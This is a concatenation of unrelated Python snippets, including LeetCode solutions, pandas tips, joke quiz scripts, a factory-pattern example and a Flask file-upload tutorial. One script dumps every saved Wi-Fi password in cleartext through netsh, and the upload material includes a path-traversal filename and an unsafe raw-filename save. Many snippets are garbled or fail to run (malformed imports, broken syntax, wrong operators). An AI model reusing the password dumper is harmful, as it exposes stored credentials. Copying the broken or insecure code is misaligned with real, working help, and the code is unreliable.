                temp.nextref=newnode
            else:
                print("null")
        
    def append(self,newdata):
        newnode=node(newdata)
        if self.head is None:
            self.head=newnode
            return
        temp=self.head
        while(temp.nextref):
            temp=temp.nextref
            temp.nextref=newnode
            
            
    def deletef(self):
        if(self.head!=None):
            temp=self.head
            self.head=self.head.nextref
            temp=None
       
    def printlist(self):         # TODO PRINT THE NODE
        temp=self.head
        while (temp):
            print(temp.data,end='')
            temp=temp.nextref
         
      
           
        
l1=linkedlist()
                              #todo connecting the nodes second to third

l1.insert(1) 
l1.insert(7)                   #todo inserting the node calling before printlist()
l1.insert(8)
l1.insert(9)

l1.deletef()
l1.middle(6,10)
l1.middle(7,38)



l1.append(6)
l1.printlist()                  #todo callling the printfunction
>>> from darts.dataprocessing.transformers import Scaler

>>> transformer = Scaler(scaler)

>>> series_transformed = transformer.fit_transform(series)

>>> series_inversed_transformed = transformer.inverse_transform(series_transformed)


#Python function 
 def func_name(param):
      return param + 10

#Python lambda
func_name = lambda param: param + 10
hwid = str(subprocess.check_output(
    'wmic csproduct get uuid')).split('\\r\\n')[1].strip('\\r').strip()
data = requests.get(
    'https://gist.githubusercontent.com/rishav394/z/raw/x')
if hwid in data.text:
    print('Authenticated!')
    auth = True
else:
    print(hwid + ' was not found on the server.\nNot authorised!')
def format_time(minutes):
    hours_total = minutes // 60
    # Get additional minutes with modulus
    minutes_total = minutes % 60
    # Create time as a string
    time_string = "{} hours {} minutes".format(hours_total, minutes_total)
    return time_string
def generateParenthesis(n):
    #only add parentehsis if openN < n 
    #only add close parenthesis if closeN < openN 
    #valid if open == closed == n 

    stack = []
    res = []
    
    def backtrack(openN, closeN): 
        if openN == closeN == n: 
            res.append("".join(stack))
            return 
        if openN < n: 
            stack.append('(')
            backtrack(openN + 1, closeN)
            stack.pop()
        if closeN < openN: 
            stack.append(")")
            backtrack(openN, closeN + 1)
            stack.pop()
        #stack.pop() is necessary to clean up stack and come up with other solutions 
        
    backtrack(0, 0)
    #concept is you build openN, closeN but initially, they are at 0 
    return res 

generateParenthesis(3)
def dutch_flag_sort(arr):
  #set low and high pointer 
  low, high = 0, len(arr) - 1 

  i = 0 

  #iterate through arr 
  while i <= high: 
    #if arr[i] is 0, set it before low via swapping 
    #elif arr[i] is 2, set it after high via swapping 
    #elif arr[i] is 1, it will naturally fall in the middle 
    if arr[i] == 0: 
      arr[i], arr[low] = arr[low], arr[i] 
      low += 1 
      i += 1 
    elif arr[i] == 1: 
      i += 1 
    else: #arr[i] == 2: 
      arr[i], arr[high] = arr[high], arr[i] 
      high -= 1 
    
  
  return   
def find_subarrays(arr, target):
  def Remove(lst):
    return ([list(i) for i in {*[tuple(sorted(i)) for i in lst]}])
  result = []
  #iterate through arr (up to len(arr) - 1) 
  for i in range(len(arr) - 1): 
      first = arr[i]
      second = arr[i + 1] 
      product = first * second 
      if first < target and first not in result: 
          result.append([first]) 
      if second < target and second not in result: 
          result.append([second])
      if product < target: 
        result.append([first, second]) 
      else: 
          continue 
    

  
  return Remove(result)  


#alternate solution that avoids making duplicate sublists in the first place 
from collections import deque


def find_subarrays(arr, target):
  result = []
  product = 1
  left = 0
  for right in range(len(arr)):
    product *= arr[right]
    while (product >= target and left <= right):
      product /= arr[left]
      left += 1
    # since the product of all numbers from left to right is less than the target therefore,
    # all subarrays from left to right will have a product less than the target too; to avoid
    # duplicates, we will start with a subarray containing only arr[right] and then extend it
    temp_list = deque()
    for i in range(right, left-1, -1):
      temp_list.appendleft(arr[i])
      result.append(list(temp_list))
  return result


def main():
  print(find_subarrays([2, 5, 3, 10], 30))
  print(find_subarrays([8, 2, 6, 5], 50))


main()
def length_of_longest_substring(arr, k):
  #set start, maxLength, maxRepeat 
  start, maxLength, maxRepeat = 0, 0, 0 
  #set frequencyDict 
  frequencyDict = {} 
  
  #iterate through arr
  for end in range(len(arr)): 
    #add to frequencyDict 
    right = arr[end]
    if right not in frequencyDict: 
        frequencyDict[right] = 1 
    else: 
        frequencyDict[right] += 1 
    #find maxRepeat 
    maxRepeat = max(maxRepeat, frequencyDict[right]) 
    
    #evaluate window 
    if (end - start + 1 - maxRepeat) > k: 
        #reduce window by 1 and adjust frequency map 
        left = arr[start] 
        frequencyDict[left] -= 1 
        start += 1 
    
    #check maxLength 
    maxLength = max(maxLength, end - start + 1) 

  return maxLength

length_of_longest_substring([0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1], 3)

df = ...

mask = [True, False, True, True]

df[mask]

# Alternatively, you can use
df.loc[[mask]
text = "X-DSPAM-Confidence:    0.8475"
indexof0 = text.find('0')
intindexof0 = int(indexof0)
indexof5 = text.find('5')
intindexof5 = int(indexof5)
Extract = text[intindexof0:intindexof5+1]
print(float(Extract))
fruit1 = input('Please enter the name of first fruit:\n')
fruit2 = input('Please enter the name of second fruit:\n')

if fruit1 < fruit2:
    print(fruit1 + " comes before " + fruit2 + " in the dictionary.")
elif fruit1 > fruit2:
    print(fruit1 + " comes after " + fruit2 + " in the dictionary.")
else:
    print(fruit1 + " and " + fruit2 + " are same.")
# variable.find() searches for the position of one string within another. Values printed are the index of the substring. Outputs are in comment. 
data = 'From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008'
atpos = data.find('@')
print(atpos)
# 21
sppos = data.find(' ',atpos)
print(sppos)
# 31
host = data[atpos+1:sppos]
print(host)
# uct.ac.za
class Solution:
    def checkInclusion(self, s1: str, s2: str) -> bool:
        s1Dict = {}
    
        for char in s1: 
            if char not in s1Dict: 
                s1Dict[char] = 1 
            else: 
                s1Dict[char] += 1 

        left = 0 


        compareDict = {}

        for right in range((left + (len(s1) - 1)), len(s2)): 
            if s2[left] in s1: 
                compare = s2[left:right + 1] #makes a list of chars from left to right pointers 
                for char in compare: 
                    if char not in compareDict: 
                        compareDict[char] = 1 
                    else: 
                        compareDict[char] += 1 
                if compareDict == s1Dict: 
                    return True 
                else: 
                    compareDict.clear() 
                    left += 1 
                    continue 



            else: 
                left += 1 

        return False 
class Solution:
    def maxArea(self, height: List[int]) -> int:
        left, right = 0, len(height) - 1 
        
        maxArea = 0 
        
        while left < right: 
            heightOne = height[left] 
            heightTwo = height[right] 
            
            area = min(heightOne, heightTwo) * (right - left) 
            maxArea = max(area, maxArea) 
            
            if heightTwo >= heightOne: #if heights are equal, it doesn't matter if you move left or right pointer 
                left += 1 
            elif heightTwo < heightOne: 
                right -= 1 
            
        return maxArea 
        
        
# BRUTE FORCE 
#         maxArea = 0 

#         for i in range(len(height)): 
#             for secondI in range(i + 1, len(height)): 
#                 heightOne = height[i]
#                 heightTwo = height[secondI]
#                 area = min(heightOne, heightTwo) * (secondI - i) 
#                 maxArea = max(area, maxArea) 

#         return maxArea 
from matplotlib.patches import Rectangle
import matplotlib.pyplot as plt
import matplotlib.colors as mcolors


def plot_colortable(colors, sort_colors=True, emptycols=0):

    cell_width = 212
    cell_height = 22
    swatch_width = 48
    margin = 12

    # Sort colors by hue, saturation, value and name.
    if sort_colors is True:
        by_hsv = sorted((tuple(mcolors.rgb_to_hsv(mcolors.to_rgb(color))),
                         name)
                        for name, color in colors.items())
        names = [name for hsv, name in by_hsv]
    else:
        names = list(colors)

    n = len(names)
    ncols = 4 - emptycols
    nrows = n // ncols + int(n % ncols > 0)

    width = cell_width * 4 + 2 * margin
    height = cell_height * nrows + 2 * margin
    dpi = 72

    fig, ax = plt.subplots(figsize=(width / dpi, height / dpi), dpi=dpi)
    fig.subplots_adjust(margin/width, margin/height,
                        (width-margin)/width, (height-margin)/height)
    ax.set_xlim(0, cell_width * 4)
    ax.set_ylim(cell_height * (nrows-0.5), -cell_height/2.)
    ax.yaxis.set_visible(False)
    ax.xaxis.set_visible(False)
    ax.set_axis_off()

    for i, name in enumerate(names):
        row = i % nrows
        col = i // nrows
        y = row * cell_height

        swatch_start_x = cell_width * col
        text_pos_x = cell_width * col + swatch_width + 7

        ax.text(text_pos_x, y, name, fontsize=14,
                horizontalalignment='left',
                verticalalignment='center')

        ax.add_patch(
            Rectangle(xy=(swatch_start_x, y-9), width=swatch_width,
                      height=18, facecolor=colors[name], edgecolor='0.7')
        )

    return fig

plot_colortable(mcolors.TABLEAU_COLORS, sort_colors=False, emptycols=2)
def length_of_longest_substring(str1, k):
    window_start, max_length, max_repeat_letter_count = 0, 0, 0 
    
    frequency_map = {} 
    
    #try to extend window [window_start, window_end] 
    for window_end in range(len(str1)): 
        right_char = str1[window_end]
        if right_char not in frequency_map: 
            frequency_map[right_char] = 1 
        else: 
            frequency_map[right_char] += 1 
    
        #we don't need to place the maxRepeatLetterCount under the below 'if'
        #while shrinking window, we don't need to update maxRepeatLetterCount 
        #since we are only interested in longest valid substring, our sliding windows do not have to shrink even if a window may cover an invalid substring 
        max_repeat_letter_count = max(max_repeat_letter_count, frequency_map[right_char]) 
        
        #determine if window is still valid 
        #if remaining letters are more than k, it is time to shrink window as we are not allowed to replace more than k letters 
        evaluate_window = window_end - window_start + 1 - max_repeat_letter_count
        if evaluate_window > k: 
            left_char = str1[window_start] 
            frequency_map[left_char] -= 1 
            window_start += 1 
        
        max_length = max(max_length, window_end - window_start + 1) 
    
    return max_length 

length_of_longest_substring("aabccbb", 2)








#alternate solution 
class Solution:
    def characterReplacement(self, s: str, k: int) -> int:
        count = {}
        
        result = 0 
        
        left = 0 
        
        for right in range(len(s)): 
            #add s[right] to count dictionary 
            count[s[right]] = 1 + count.get(s[right], 0) #if s[right] does not exist in count hashmap, then set default value to 0 
            
            #make sure current window is valid 
            #while (windowLength - length of most frequent char in count hashmap) > k 
            while (right - left + 1) - max(count.values()) > k: #this statement means window is no longer valid 
                #need to remove one from s[left] 
                count[s[left]] -= 1 
                left += 1 
            
            
            result = max(result, right - left + 1)
        
        return result 
# The best you can do is create a new string that is a variation on the original
greeting = 'Hello, world!'
new_greeting = 'J' + greeting[1:]
print(new_greeting)

#output
Jello, world!
class Solution:
    def threeSum(self, nums: List[int]) -> List[List[int]]:
        result = []
        
        nums.sort() 
        
        for i, a in enumerate(nums): 
            if i > 0 and a == nums[i - 1]: #this is so you don't reuse same value twice to avoid duplicates at end 
                continue 
            
            #next part is basically two sum 
            
            l, r = i + 1, len(nums) - 1 
            
            while l < r: 
                threeSum = a + nums[l] + nums[r] 
                
                if threeSum > 0: 
                    r -= 1 
                elif threeSum < 0: 
                    l += 1 
                else: 
                    result.append([a, nums[l], nums[r]])
                    #only need to shift left pointer as right pointer will be moved by code above 
                    l += 1 
                    while nums[l] == nums[l - 1] and l < r: 
                        l += 1 
            
        return result 
      
      
#two sum solutions below for reference 
      
def twoSum(numbers, target): 
  left = 0 
  right = len(numbers) - 1 
  compare = 0 

  for i in range(0, len(numbers)): 
    compare = numbers[left] + numbers[right] 
    if compare > target: 
      right -= 1 
      elif compare < target: 
        left += 1 
        elif compare == target: 
          return [left + 1, right + 1] 

        
def twoSum(self, nums: List[int], target: int) -> List[int]:
  num_dictionary = {}
  for i in range(0, len(nums)):
    number = nums[i]
    if target - number not in num_dictionary: 
      #number will be key and index (i) will be value 
      #adding number to dictionary AFTER checking 1st value 
      #if [2, 1, 3] and target = 4, 4 -2 = 2 and 2 will be present in dictionary but we cannot use 2 + 2 
      num_dictionary[number] = i 
      elif target - number in num_dictionary: 
        return [i, num_dictionary[target - number]]




fruit = "banana"
for char in fruit:
    print(char)

#output
b
a
n
a
n
a
fruit = 'banana'
index = 0
while index < len(fruit):
    letter = fruit[index]
    print(letter)
    index = index + 1

#output
b
a
n
a
n
a
user = input("Hi, Im Aidan, what is your name?\n")
 
print(f"Well {user}, nice to meet you, your names kinda weird though.")
print(f"Nevertheless Im here to quiz you! To start, what is 7-4?")
 
 
larisha=input()
 
if(larisha =="3"):
    print("Thats right... Shawty.")
 
if(larisha !="3"):
    print("Seriously? How can you get it wrong, just count your fingers and try again.")
 
 
print("Moving on, What is 8x4?")
 
shawn=input()
 
if(shawn=="32"):
    print("Correct!")
 
if(shawn!="32"):
    print("Try again!")
 
print("Ok another question question what is the meaning of life?")
 
kelp=input()
 
if(kelp=="42"):
    print("Your very cool, its a great book.")
    
elif(kelp=="idk"):
    print("Then live your life in confusion.")
 
elif(kelp=="ethics"):
    print("bummer")

elif(kelp=="ass"):
    print("Bet https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab just copy and paste it.")
elif(kelp!="42"):
    print("Im sure your answer was amazing but no.")
    
print("Lets test your ethics.\n")
print("If, there was a dying man who needed $300 to get life saving sugery, and there was an Iron Maiden Concert that cost $300, which one would you choose, the man or the concert?")

bobby=input()
if(bobby=="the man"):
	print("Good choice, but you'll miss a great concert.")

elif(bobby=="the concert"):
	print("I mean, Iron Maiden is great but seriously you'd let a man die in return? yeesh")

elif(bobby!=["the man","the concert"]):
	print("That wasn't an answer, please use either, 'the man' or 'the concert'.")
    
print("Moving on... How many bones are in the human body?")
duke=input=()

if(duke=="206"):
	print("Jesus why do you know that, is so specific."

if(duke!="206"):
    print("Honestly I didn't know either I dont blame you for not knwowing one bit.")
print("It would seem as if the quiz is over, I know it didnt end as a math quiz but I sure had fun. See you later... or not." )



    
count = 0 #Set the variable count to zero before the loop starts
for i in [3, 41, 12, 9, 74, 15]: # Our iteration variable, itervar, controls the loop and cause the loop body to be executed once for each values in list.
    count = count + 1  #In the body of the loop, we add 1 to the current value of count
print('Count: ', count)
# Once the loop completes, the value of count is the total number of items
# Comment on a single line

user = "JDoe" # Comment after code
import re

regex = re.compile(r'([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})+')

def isValid(email):
    if re.fullmatch(regex, email):
      print("Valid email")
    else:
      print("Invalid email")
def check_if_vowel(word):
    count_v = 0
    for letter in word.lower():
            if letter == "a" or letter == "i" or letter == "o" or letter == "u":
                count_v =+1
            return count_v
        
ans = input("Word of choise:")

print(f"It has {check_if_vowel(ans)} vowels")
class Solution:
    def longestConsecutive(self, nums: List[int]) -> int:
        numlist = set(nums) 
        #you need set or else it's too slow 
        longest = 0 
        
        #the concept is you are checking to see if there is a left neighbor. If not, then there is a new sequence of conseuctive numbers. 
        
        for n in nums: 
            if (n - 1) not in numlist: 
                length = 0 
                while (n + length) in numlist: 
                    length += 1 
                longest = max(length, longest)
        return longest 
class Solution:
    def productExceptSelf(self, nums: List[int]) -> List[int]:
        #if there were no time complexity restriction, you can use nested for loops and just continue if index of first for loop == index of second for loop 
        #if there were no divsion restriction, you can just find prod(nums) len(nums) times and divide by num[i] and append to result 
        
        res = [1] * len(nums) 
        
        prefix = 1 
        
        for i in range(len(nums)): 
            res[i] = prefix 
            prefix *= nums[i] 
        postfix = 1 
        for i in range(len(nums) - 1, -1, -1): 
            res[i] *= postfix 
            postfix *= nums[i] 
        return res 
        
        
        
            
#must be in O(N) time, O(1) space, and not use divide operator             
            
class Solution:
    def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
        def Remove(lst): #to remove repeats at end 
            return ([list(i) for i in {*[tuple(sorted(i)) for i in lst]}]) 
    
    
        result = []
        for i in range(0, len(strs)): 
            anagram_subset = [strs[i]]
            sorted_string = sorted(strs[i]) 
            for d in range(0, len(strs)):
            #to avoid repeat 
            #maybe change to start, end pointers to avoid making duplicate in first place? 
                if d == i: 
                    continue 
                if sorted(strs[d]) == sorted_string: 
                    anagram_subset.append(strs[d])
            anagram_subset.sort()
            result.append(anagram_subset)
            anagram_subset = [] 
        return Remove(result) 

#Big O is n * n * n log N lol 

#more efficient solution 

	def groupAnagrams(self, strs: List[str]) -> List[List[str]]:
          res = defaultdict(list) #map charCount to list of anagrams 

          for s in strs: 
            count = [0] * 26 # a ... z 

            for c in s: 
              count[ord(c) - ord("a")] += 1 #mapping to ASCII and then adding 1 so that a = 1, b = 2, etc. 

              res[tupule(count)].append(s) 

          return res.values()

        #big O(m * n * 26) which is just (m * n)
from dash.dash_table.Format import Format, Group, Scheme, Symbol

columns=[{            
    'id': 'euros',
    'name': 'euros',
    'type': 'numeric',
    'format': Format(
        scheme=Scheme.fixed, 
        precision=2,
        group=Group.yes,
        groups=3,
        group_delimiter=', ',
        decimal_delimiter='.',
        symbol=Symbol.yes, 
        symbol_prefix=u'€')
}]
import asyncio

import httpx


async def main():
	async with httpx.AsyncClient() as client:
		resp = await client.get("https://python.org")
        http_text = await resp.text()
		print(http_text)


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
# Raise warning if duplicate is detected
df_combined = pd.concat([df1, df2], axis=1) \
								.set_flags(allow_duplicate_labels=False)

# Check if duplicates exist then remove
df_combined = df.loc[:. ~df_combined.columns.duplicated()].copy()
df['Categorical_Column'] = df['Categorical_Column'].astype('category')
df_merged = df1.merge(df2, on=['colName'], suffixes=('_mens', '_womens'))
df['Percent_Change'] = df['Revenue'].pct_change()
df['Sales_Difference'] = df['Units'].diff()
valA = "abc"
valB = 50

df.query('colA == @valA and colB < @valB')
# librerias necesarias
import glob
import cv2
import matplotlib.pyplot as plt
#Leer y mostrar una sola imagen
file = 'D:\BinaryStudy\demo\Images\image001.tif'
image = cv2.imread(file)
cv2.imshow('display', image)
cv2.waitKey(0)
cv2.destrouAllWindows() 
#Leer todas la imagenes
file = 'D:\BinaryStudy\demo\Images\*.tif' 
glob.glob(file)
# Using List Comprehension to read all images
images = [cv2.imread(image) for image in glob.glob(file)]
#mostrar las imagenes
# Define a figure of size (8, 8)
fig=plt.figure(figsize=(8, 8))
# Define row and cols in the figure
rows, cols = 2, 2
# Display first four images
for j in range(0, cols*rows):
  fig.add_subplot(rows, cols, j+1)
  plt.imshow(images[j])
plt.show()

import matplotlib.pyplot as plt
plt.rcParams["figure.figsize"] = (20,3)
top_employer_by_country = {}

countries = f500['country'].unique()

for c in countries:
    
    # select only the rows that have a country name equal to current iteration
    selected_rows = f500[f500['country'] == c]
    
    # sort the rows by employees column in descending order
    sorted_rows = selected_rows.sort_values('employees', ascending=False)
    
    # select the first row from the sorted dataframe
    top_employer = sorted_rows.iloc[0]
    
    # extract the company name from the index label company from the first row
    employer_name = top_employer['company']
    
    # assign the results to dictionary using country name as the key and company name as the        value
    top_employer_by_country[c] = employer_name
    
    
import random
print("Hello & welcome to Aidan's Tote shack!")
print("We have Totes of all colors!")
print("Out colors consist of, Red, Blue, Orange, Pink, Cyan, Maroon, Purple and Yellow!")
print("Please type the color you want, you can only choose one!")
 
larisha=input()
 
int = shawn=random.randint(19, 20)
    
 
if(larisha =="red"):
    print("A child... I see, one red tote coming up!")
 
elif(larisha=="pink"):
    print("Ah, either a little girl or a little girl, either way you're paying for it so no problem!")
 
elif(larisha=="blue"):
    print("a man of culture I see, I forsee phat stacks of cash in my wallet.")
 
elif(larisha=="orange"):
    print("Knock knock? Orange you glad we have this color? One orange tote coming up!")
 
elif(larisha=="yellow"):
    print("Wow, a functioning human that accually likes the color yellow. How surprising. One not yellow tote coming up!")
 
elif(larisha=="maroon"):
    print("OoOoOoOo... a dark brooding bad boy, How scary. One pink Maroon Five tote coming up!")
 
elif(larisha=="cyan"):
    print("another child ewwwwwwwwwwww, one abnormally large tote coming up!")
 
elif(larisha=="purple"):
     print("Hmmm it seems we are out of purple ink, you can get a blue tote instead. Sorry for the inconvenience!"):
     print("One Blue tote coming up!")
elif(shawn==20):
    print("Sorry we don't offer that color!")
elif(shawn==19):
    print("Was that color on the list? Try again, next time please read the given options!")
import bse64.b64encode
encoded = b'client_key:client_secret'
token = 'Basic ' + encoded
from abc import ABC, abstractmethod


class Creator(ABC):
    """
    The Creator class declares the factory method that is supposed to return an
    object of a Product class. The Creator's subclasses usually provide the
    implementation of this method.
    """

    @abstractmethod
    def factory_method(self):
        """
        Note that the Creator may also provide some default implementation of
        the factory method.
        """
        pass

    def some_operation(self) -> str:
        """
        Also note that, despite its name, the Creator's primary responsibility
        is not creating products. Usually, it contains some core business logic
        that relies on Product objects, returned by the factory method.
        Subclasses can indirectly change that business logic by overriding the
        factory method and returning a different type of product from it.
        """

        # Call the factory method to create a Product object.
        product = self.factory_method()

        # Now, use the product.
        result = f"Creator: The same creator's code has just worked with {product.operation()}"

        return result


"""
Concrete Creators override the factory method in order to change the resulting
product's type.
"""


class ConcreteCreator1(Creator):
    """
    Note that the signature of the method still uses the abstract product type,
    even though the concrete product is actually returned from the method. This
    way the Creator can stay independent of concrete product classes.
    """

    def factory_method(self) -> Product:
        return ConcreteProduct1()


class ConcreteCreator2(Creator):
    def factory_method(self) -> Product:
        return ConcreteProduct2()


class Product(ABC):
    """
    The Product interface declares the operations that all concrete products
    must implement.
    """

    @abstractmethod
    def operation(self) -> str:
        pass


"""
Concrete Products provide various implementations of the Product interface.
"""


class ConcreteProduct1(Product):
    def operation(self) -> str:
        return "{Result of the ConcreteProduct1}"


class ConcreteProduct2(Product):
    def operation(self) -> str:
        return "{Result of the ConcreteProduct2}"


def client_code(creator: Creator) -> None:
    """
    The client code works with an instance of a concrete creator, albeit through
    its base interface. As long as the client keeps working with the creator via
    the base interface, you can pass it any creator's subclass.
    """

    print(f"Client: I'm not aware of the creator's class, but it still works.\n"
          f"{creator.some_operation()}", end="")


if __name__ == "__main__":
    print("App: Launched with the ConcreteCreator1.")
    client_code(ConcreteCreator1())
    print("\n")

    print("App: Launched with the ConcreteCreator2.")
    client_code(ConcreteCreator2())
import pandas pd

excel_file = pd.read_excel(‘file.xlsx’, sheet_name=None)
dataset_combined = pd.concat(excel_file.values())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#..................python program to find the wifi passwords.....!
import subprocess
 
# now we will store the profiles data in "data" variable by 
# running the 1st cmd command using subprocess.check_output
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
# now we will store the profile by converting them to list
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
 
# using for loop in python we are checking and printing the wifi 
# passwords if they are available using the 2nd cmd command
for i in profiles:
    # running the 2nd cmd command to check passwords
    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 
                        'key=clear']).decode('utf-8').split('\n')
    # storing passwords after converting them to list
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    # printing the profiles(wifi name) with their passwords using 
    # try and except method 
    try:
        print ("{:<30}|  {:<}".format(i, results[0]))
    except IndexError:
        print ("{:<30}|  {:<}".format(i, ""))
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="UTF-8" />
      <meta http-equiv="X-UA-Compatible" content="IE=edge" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>PyScript</title>

      <!-- styles and script dependencies -->
      <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
      <script defer src="https://pyscript.net/alpha/pyscript.js"></script>
   </head>
   <body>
      <!-- title -->
      <h3>Testing python code in HTML</h3>

      <!-- python code -->
      <py-script> print('Now you can!') </py-script>
     
   </body>
</html>
#pip install beautifulsoup4

import os
import requests
from bs4 import BeautifulSoup

url = "https://www.google.com/"
reponse = requests.get(url)

if reponse.ok:
	soup = BeautifulSoup(reponse.text, "lxml")
	title = str(soup.find("title"))

	title = title.replace("<title>", "")
	title = title.replace("</title>", "")
	print("The title is : " + str(title))

os.system("pause")

#python (code name).py
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort, \
    send_from_directory
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0)
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.errorhandler(413)
def too_large(e):
    return "File is too large", 413

@app.route('/')
def index():
    files = os.listdir(app.config['UPLOAD_PATH'])
    return render_template('index.html', files=files)

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            return "Invalid image", 400
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return '', 204

@app.route('/uploads/<filename>')
def upload(filename):
    return send_from_directory(app.config['UPLOAD_PATH'], filename)
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            return "Invalid image", 400
@app.errorhandler(413)
def too_large(e):
    return "File is too large", 413
@app.route('/uploads/<filename>')
@login_required
def upload(filename):
    return send_from_directory(os.path.join(
        app.config['UPLOAD_PATH'], current_user.get_id()), filename)
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort, \
    send_from_directory
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)  # 512 bytes should be enough for a header check
    stream.seek(0)  # reset stream pointer
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.route('/')
def index():
    files = os.listdir(app.config['UPLOAD_PATH'])
    return render_template('index.html', files=files)

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))

@app.route('/uploads/<filename>')
def upload(filename):
    return send_from_directory(app.config['UPLOAD_PATH'], filename)
import imghdr
import os
from flask import Flask, render_template, request, redirect, url_for, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0) 
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS'] or \
                file_ext != validate_image(uploaded_file.stream):
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))
import imghdr

def validate_image(stream):
    header = stream.read(512)
    stream.seek(0)
    format = imghdr.what(None, header)
    if not format:
        return None
    return '.' + (format if format != 'jpeg' else 'jpg')
import os
from flask import Flask, render_template, request, redirect, url_for, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png', '.gif']
app.config['UPLOAD_PATH'] = 'uploads'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_files():
    uploaded_file = request.files['file']
    filename = secure_filename(uploaded_file.filename)
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in app.config['UPLOAD_EXTENSIONS']:
            abort(400)
        uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], filename))
    return redirect(url_for('index'))
>>> from werkzeug.utils import secure_filename
>>> secure_filename('foo.jpg')
'foo.jpg'
>>> secure_filename('/some/path/foo.jpg')
'some_path_foo.jpg'
>>> secure_filename('../../../.bashrc')
'bashrc'
uploaded_file.save(os.path.join('static/avatars', current_user.get_id()))
    filename = uploaded_file.filename
    if filename != '':
        file_ext = os.path.splitext(filename)[1]
        if file_ext not in current_app.config['UPLOAD_EXTENSIONS']:
            abort(400)
from flask import Flask, render_template, request, redirect, url_for

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/', methods=['POST'])
def upload_file():
    uploaded_file = request.files['file']
    if uploaded_file.filename != '':
        uploaded_file.save(uploaded_file.filename)
    return redirect(url_for('index'))
<!doctype html>
<html>
  <head>
    <title>File Upload</title>
  </head>
  <body>
    <h1>File Upload</h1>
    <form method="POST" action="" enctype="multipart/form-data">
      <p><input type="file" name="file"></p>
      <p><input type="submit" value="Submit"></p>
    </form>
  </body>
</html>
import win32gui
import win32.lib.win32con as win32con
memo_app = win32gui.FindWindow(None,'タイトルなし - メモ帳')    #「タイトルなし - メモ帳」という名前のウィンドウハンドルを取得
win32gui.SetForegroundWindow(memo_app)                         #ウィンドウを最前面に移動してアクティブ化
win32gui.ShowWindow(memo_app, win32con.SW_MAXIMIZE)            #ウィンドウを最大化
(pd.DataFrame([{"email":[114, 111, 98, 46, 106, 46, 114, 97, 121, 109, 111, 110, 
                        100, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109]}])
 .assign(email=lambda d: d.email.apply(lambda l: "".join([chr(c) for c in l])))
)
import requests
import pandas as pd
import io
from pathlib import Path


# setup some data so code works
f = Path.cwd().joinpath("eurusd_m1_03.03.2022.csv")
pd.read_csv(
    io.StringIO(
        requests.get(
            "https://www.marketwatch.com/investing/currency/eurusd/downloaddatapartial?startdate=08/03/2022%2000:00:00&enddate=09/02/2022%2023:59:59&daterange=d30&frequency=p1d&csvdownload=true&downloadpartial=false&newdates=false"
        ).text
    )
).pipe(
    lambda d: d.rename(columns={c: c.lower() for c in d.columns}).rename(
        columns={"date": "time"}
    )
).to_csv(
    f
)


from time import time
